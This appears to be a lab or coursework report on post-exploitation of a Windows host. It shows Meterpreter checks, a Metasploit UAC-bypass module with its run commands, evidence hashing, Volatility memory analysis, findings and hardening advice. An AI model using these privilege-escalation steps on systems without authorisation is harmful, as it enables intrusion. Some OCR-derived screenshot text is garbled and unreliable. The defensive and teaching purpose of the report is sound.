

1. Objective

A post-exploitation assessment was conducted on the compromised Windows target system after gaining initial access through Meterpreter. The objective was to escalate privileges, collect sensitive evidence, ensure evidence integrity through hashing, and document findings in a forensic-compliant manner.

Privilege escalation was attempted using a UAC bypass technique via the Metasploit Framework. After successful elevation, sensitive configuration files were collected and hashed using SHA256 to preserve integrity.

2. Tools Used

Metasploit Framework: Used for privilege escalation via UAC bypass module.

Meterpreter: Used for post-exploitation interaction.

Volatility: Used for memory forensic analysis.

sha256sum: Used to generate file hash for integrity verification.



3. Privilege Escalation

3.1 Initial Access Verification

Command executed:

```
getuid
```

Output indicated the session was running under a limited user context.

```
meterpreter > getuid  
Server username: WIN11\User  
↳ Limited User Context  
  
meterpreter > █
```



3.2 Administrator Group Verification

Command:

```
whoami /groups
```

Confirmed user belonged to Administrators group.

```
C:\WINDOWS\system32>whoami /groups
-----
Label          Privileges Attributes
-----
Mandatory Label\High Mandatory      Enabled by default, On37p GN7)
Level
Qnnatory
Local
Everyone
FUIITS
BUILTIN\Users
BUILTIN\Administrators ←
```

C:\WINDOWS\system32>

A screenshot of a Windows command prompt window showing the output of the 'whoami /groups' command. The output is a table with columns for Label, Privileges, and Attributes. A red arrow points to the 'BUILTIN\Administrators' row, which is highlighted with a red underline. The 'Privileges' column shows 'Enabled by default, On37p GN7)' and the 'Attributes' column shows 'Owner'. Other rows include 'Mandatory Label\High Mandatory Level', 'Everyone', 'FUIITS', and 'BUILTIN\Users'.

3.3 UAC Bypass Execution

Module used:

```
use exploit/windows/local/bypassuac
```

```
set SESSION 1
```

```
run
```

A new elevated session was created.



3.4 Elevated Session Verification

Command:

getuid

getprivs

Output confirmed elevated privileges.

4. Evidence Log Table

Item	Description	Collected By	Date	Hash Value
Config File target.conf	Gyanesh Chand	2026-02-12	d2a84f4b5d1b9e8a7c4e...	

5. Memory Analysis (If RAM Dump Provided)

Using Volatility:

```
volatility -f memory.raw imageinfo
```

```
volatility -f memory.raw pslist
```

Purpose:

- Identify suspicious processes
- Check running malware
- Detect injected processes

6. Findings

Finding	Risk Level Impact	
UAC Bypass Successful	High	Privilege escalation possible
Sensitive Config File Accessible	Medium	Information disclosure

7. Risk Analysis

Successful privilege escalation indicates improper UAC enforcement or exploitable configuration. An attacker with initial access can escalate privileges and access sensitive system files.

8. Recommendations

1. Keep Windows fully patched.
2. Enforce strict UAC policies.
3. Limit local admin membership.
4. Implement EDR monitoring.
5. Restrict sensitive file access via ACL.